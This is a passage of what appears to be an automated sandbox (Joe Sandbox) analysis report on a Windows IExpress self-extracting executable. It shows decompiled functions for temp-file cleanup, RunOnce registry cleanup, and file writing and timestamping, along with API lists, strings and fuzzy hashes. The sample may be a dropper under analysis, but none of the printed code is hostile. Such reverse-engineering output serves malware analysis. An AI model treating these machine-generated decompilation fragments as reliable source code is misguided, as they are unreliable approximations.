Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F82F4D,?,00000002,00000000), ref: 00F85201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F85250

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

Strings

UPROMPT, xrefs: 00F851EF, 00F85230
<None>, xrefs: 00F85262

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 92c475a7174f68f1b73238ce3965e552744e114811dd947469d68241c9a0b298
Instruction ID: 80fe45499ac5be4e62e27504f42fdaa6b792f037b3edd6d83b8da152c9a7424e
Opcode Fuzzy Hash: 92c475a7174f68f1b73238ce3965e552744e114811dd947469d68241c9a0b298
Instruction Fuzzy Hash: 9B110872704605ABE714BBB15C8AFFB719DEB89B50B104429FA02D5190EEBC9C017325

Uniqueness

Uniqueness Score: -1.00%

Function 00F852B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F852B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0xf891e0; // 0x33d7bf0
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0xf88a24 == 0 &&  *0xf89a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0xf88a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0xf88a24 == 0 &&  *0xf89a30 == 0) {
					_push(_t22);
					E00F81781( &_v268, 0x104, _t22, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
					if(( *0xf89a34 & 0x00000020) != 0) {
						E00F865E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00F82390( &_v268);
					_t11 =  *0xf88a20; // 0x0
				}
				if( *0xf89a40 != 1 && _t11 != 0) {
					_t11 = E00F81FE1(_t22); // executed
				}
				 *0xf88a20 =  *0xf88a20 & 0x00000000;
				return E00F86CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x00f852b6
0x00f852b6
0x00f852b6
0x00f852c1
0x00f852c8
0x00f852cb
0x00f852cc
0x00f852d4
0x00f852d6
0x00f852d7
0x00f852de
0x00f852e0
0x00f852f2
0x00f852fa
0x00f852fa
0x00f85302
0x00f85305
0x00f8530c
0x00f85312
0x00f85316
0x00f85316
0x00f85317
0x00f8531c
0x00f8531f
0x00f85333
0x00f85345
0x00f85351
0x00f85359
0x00f85359
0x00f85363
0x00f85369
0x00f8536f
0x00f85374
0x00f85374
0x00f85381
0x00f85387
0x00f85387
0x00f8538f
0x00f853a0

APIs

SetFileAttributesA.KERNELBASE(033D7BF0,00000080,?,00000000), ref: 00F852F2
DeleteFileA.KERNELBASE(033D7BF0), ref: 00F852FA
LocalFree.KERNEL32(033D7BF0,?,00000000), ref: 00F85305
LocalFree.KERNEL32(033D7BF0), ref: 00F8530C
SetCurrentDirectoryA.KERNELBASE(00F811FC,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F85363

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F85334

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-3217841213
Opcode ID: ed04843a71145ed09d10b8c624170e7a0aa507e00999466ea6cdb6ac464d375d
Instruction ID: 5cf1658226ae399e93f2bd067b06c2e7b0e05c178f42a7f61b76b7869c505087
Opcode Fuzzy Hash: ed04843a71145ed09d10b8c624170e7a0aa507e00999466ea6cdb6ac464d375d
Instruction Fuzzy Hash: DC21A13191460CDBDB24BB20DD49BF977A5FB00BA0F48015AE442561A0CFF99C85FB41

Uniqueness

Uniqueness Score: -1.00%

Function 00F81FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F81FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0xf88530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup1"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x00f81fee
0x00f82005
0x00f8200d
0x00f82017
0x00000000
0x00f82020
0x00f8200d
0x00f82029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,00F8538C,?,?,00F8538C), ref: 00F82005
RegDeleteValueA.KERNELBASE(00F8538C,wextract_cleanup1,?,?,00F8538C), ref: 00F82017
RegCloseKey.ADVAPI32(00F8538C,?,?,00F8538C), ref: 00F82020

Strings

wextract_cleanup1, xrefs: 00F81FE7, 00F8200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F81FFB

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: 0984bc286fffa5744f7921f407c6bfc5cd6719f4b6e973a4e2dada2489fb5746
Instruction ID: f247c37aea4066049c6a219f724ffa978d5a80acc01609ef5bb0f439f9151939
Opcode Fuzzy Hash: 0984bc286fffa5744f7921f407c6bfc5cd6719f4b6e973a4e2dada2489fb5746
Instruction Fuzzy Hash: 83E04F3095031CBBEB22ABD0EC0AFE97B69E701791F640195B904A4060EB61AA14F706

Uniqueness

Uniqueness Score: -1.00%

Function 00F84CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F84CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0xf88004; // 0x7e92e7a6
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0xf891d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00F84E99(_t75);
						L35:
						return E00F86CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0xf88584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0xf891e4;
						_t58 = 0xf891e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0xf891e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0xf891e4;
						_t30 = E00F84702( &_v268, 0xf891e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E00F8476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00F84980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E00F847E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0xf893f4 =  *0xf893f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0xf891e4;
						_t63 = 0xf891e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0xf891e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0xf891e4;
						_t30 = E00F84702( &_v268, 0xf891e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00F84C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00F84B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00F84B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00f84cd0
0x00f84cdb
0x00f84ce0
0x00f84ce2
0x00f84cee
0x00f84cf2
0x00f84d0e
0x00f84d0e
0x00f84d11
0x00f84e83
0x00f84e88
0x00f84e98
0x00f84e98
0x00f84d17
0x00f84d17
0x00f84d1a
0x00f84d2f
0x00f84d2f
0x00000000
0x00f84d2f
0x00f84d1c
0x00f84d1c
0x00f84d1f
0x00f84dcb
0x00f84dd0
0x00f84dd2
0x00f84ddd
0x00f84ddd
0x00f84de3
0x00f84de8
0x00f84ded
0x00f84ded
0x00f84def
0x00f84df0
0x00f84df0
0x00f84df4
0x00f84df4
0x00f84df6
0x00f84df9
0x00f84dfc
0x00f84dfc
0x00f84dfe
0x00f84dff
0x00f84dff
0x00f84e03
0x00f84e08
0x00f84e0a
0x00f84e0f
0x00f84d03
0x00f84d03
0x00000000
0x00f84d03
0x00f84e18
0x00f84e20
0x00f84e25
0x00f84e27
0x00000000
0x00000000
0x00f84e33
0x00f84e38
0x00f84e3a
0x00000000
0x00000000
0x00f84e40
0x00f84e51
0x00f84e56
0x00f84e5b
0x00f84e5e
0x00000000
0x00000000
0x00f84e6a
0x00f84e6f
0x00f84e71
0x00000000
0x00000000
0x00f84e77
0x00f84e7d
0x00000000
0x00f84e7d
0x00f84d25
0x00f84d25
0x00f84d28
0x00f84d36
0x00f84d3b
0x00f84d40
0x00f84d40
0x00f84d42
0x00f84d43
0x00f84d43
0x00f84d47
0x00f84d4a
0x00f84d4a
0x00f84d4c
0x00f84d4f
0x00f84d4f
0x00f84d51
0x00f84d52
0x00f84d52
0x00f84d56
0x00f84d5b
0x00f84d5d
0x00f84d62
0x00000000
0x00000000
0x00f84d67
0x00f84d6f
0x00f84d74
0x00f84d76
0x00000000
0x00000000
0x00f84d7c
0x00f84d84
0x00f84d89
0x00f84d8b
0x00000000
0x00000000
0x00f84d94
0x00f84d99
0x00f84d9e
0x00f84da1
0x00f84daa
0x00f84daa
0x00f84da3
0x00f84da3
0x00f84da3
0x00f84db5
0x00f84dbb
0x00f84dbd
0x00000000
0x00f84dc3
0x00f84dc5
0x00000000
0x00f84dc5
0x00f84dbd
0x00f84d2a
0x00f84d2a
0x00f84d2d
0x00000000
0x00000000
0x00000000
0x00f84d2d
0x00f84cf8
0x00f84cfd
0x00f84d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00F84DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00F84DDD

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F84D36, 00F84DE3

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-3217841213
Opcode ID: 814f8040a26017a064595373696bfcd2468628d73580d56071caa2167e531673
Instruction ID: 766fdcfe5aba5d4932fec2f4807479affe6b93ece791b8edbcd2169f37f7fd84
Opcode Fuzzy Hash: 814f8040a26017a064595373696bfcd2468628d73580d56071caa2167e531673
Instruction Fuzzy Hash: 1241F337A041079BCF25BF28DD486F973A5EB45320F084669E88297285DA35FE4AF750

Uniqueness

Uniqueness Score: -1.00%

Function 00F84C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0xf88d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0xf88d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00f84c40
0x00f84c4a
0x00f84c8d
0x00000000
0x00f84c70
0x00f84c70
0x00f84c7e
0x00f84c86
0x00000000
0x00000000
0x00000000
0x00f84c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00F84C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F84C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00F84C7E

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: e4f816d0b92fbdfeb0de217be8ba7fcf52820916e8ed8cda9847e2ac71853c78
Instruction ID: 35dd3069a43dfde606291448e465da8e6c913a1a7a62e06b04a6584ebb1aabce
Opcode Fuzzy Hash: e4f816d0b92fbdfeb0de217be8ba7fcf52820916e8ed8cda9847e2ac71853c78
Instruction Fuzzy Hash: 0FF03072A0120EAFAB25EFB5CC49DFB77ADEB05250B44452BB915C1051EA30E914FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F8487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F8487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E00F8490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00f84880
0x00f8488c
0x00f84894
0x00f848a0
0x00f848c9
0x00f848ce
0x00f848a2
0x00f848a8
0x00f848b7
0x00f848bc
0x00f848aa
0x00f848ac
0x00f848ac
0x00f848a8
0x00f848de
0x00f848e7
0x00f8490b
0x00f848ee
0x00f848f0
0x00000000
0x00f84902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00F84A23,?,00F84F67,*MEMCAB,00008000,00000180), ref: 00F848DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00F84F67,*MEMCAB,00008000,00000180), ref: 00F84902

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e395279ecb79f1d68940f25edc77cb73ac7cd409f17a0b2355c01bcbe6eef66d
Instruction ID: 75ed903f5eb3362a487a4d0e5458f13746432ed4c5b363cfd67eb3b2fbf019e4
Opcode Fuzzy Hash: e395279ecb79f1d68940f25edc77cb73ac7cd409f17a0b2355c01bcbe6eef66d
Instruction Fuzzy Hash: 6C014BA3E1257526F724A0294C88FF7555CCB96734F1B0335FDAAE71D1D664AC04A3E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F84AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F84AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0xf8858c; // 0x268
				_t9 = E00F83680(_t20);
				if( *0xf891d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0xf88d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0xf89400; // 0x5d800
							_t15 = _t14 + _t25;
							 *0xf89400 = _t15;
							if( *0xf88184 != 0) {
								_t21 =  *0xf88584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0xf893f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00f84ad5
0x00f84adb
0x00f84ae7
0x00f84aee
0x00f84b05
0x00f84b0d
0x00f84b14
0x00f84b1a
0x00f84b1c
0x00f84b21
0x00f84b2a
0x00f84b2f
0x00f84b31
0x00f84b39
0x00f84b54
0x00f84b54
0x00f84b39
0x00f84b2f
0x00f84b0f
0x00f84b0f
0x00f84b0f
0x00f84b5e
0x00f84ae9
0x00f84aed
0x00f84aed

APIs

Part of subcall function 00F83680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F8369F
Part of subcall function 00F83680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836B2
Part of subcall function 00F83680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00F84B05

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 7753826566daa48207e258a031364ebc963c61091691f191a32ea56db4471ee4
Instruction ID: 0189e0df423eecc880a8cf2ceb0677014a3b07264e24c7e85c593ac3b8b22216
Opcode Fuzzy Hash: 7753826566daa48207e258a031364ebc963c61091691f191a32ea56db4471ee4
Instruction Fuzzy Hash: 1D018C3164020AABDB14AF68DC05BF27759FB84735F098225F9399B1E1CB70E812EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F8658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F8658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0xf88b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0xf88b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E00F816B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00f86592
0x00f86594
0x00f86596
0x00f86598
0x00f86598
0x00f8659b
0x00f8659b
0x00f8659d
0x00f8659e
0x00f865a2
0x00f865a4
0x00f865a9
0x00f865b2
0x00f865b6
0x00f865ba
0x00f865c3
0x00f865c5
0x00f865c8
0x00f865c8
0x00f865c3
0x00f865c9
0x00f865cc
0x00f865d2
0x00f865d1
0x00f865d1
0x00000000
0x00f865dc
0x00000000

APIs

CharPrevA.USER32(00F88B3E,00F88B3F,00000001,00F88B3E,-00000003,?,00F860EC,00F81140,?), ref: 00F865BA

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 557e86bcc19b9ae9e63ee8eb139104066e5359afce97b1bab91ecca7fedbbf3e
Instruction ID: c6337546023b03c89c79c784f38b635b51d11465c4c9719c5a25ade792e98a6b
Opcode Fuzzy Hash: 557e86bcc19b9ae9e63ee8eb139104066e5359afce97b1bab91ecca7fedbbf3e
Instruction Fuzzy Hash: F1F04C335042509BD331291D9884BF6BFDEDB86360F2C016EF8DACB205DA658C46A3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F8621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F8621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E00F8597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E00F844B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0xf89124 = E00F86285();
					_t9 = 0;
				}
				return E00F86CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00f86229
0x00f86230
0x00f86247
0x00f8626a
0x00f86272
0x00f86249
0x00f86255
0x00f8625f
0x00f86264
0x00f86264
0x00f86284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F8623F

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

Memory Dump Source

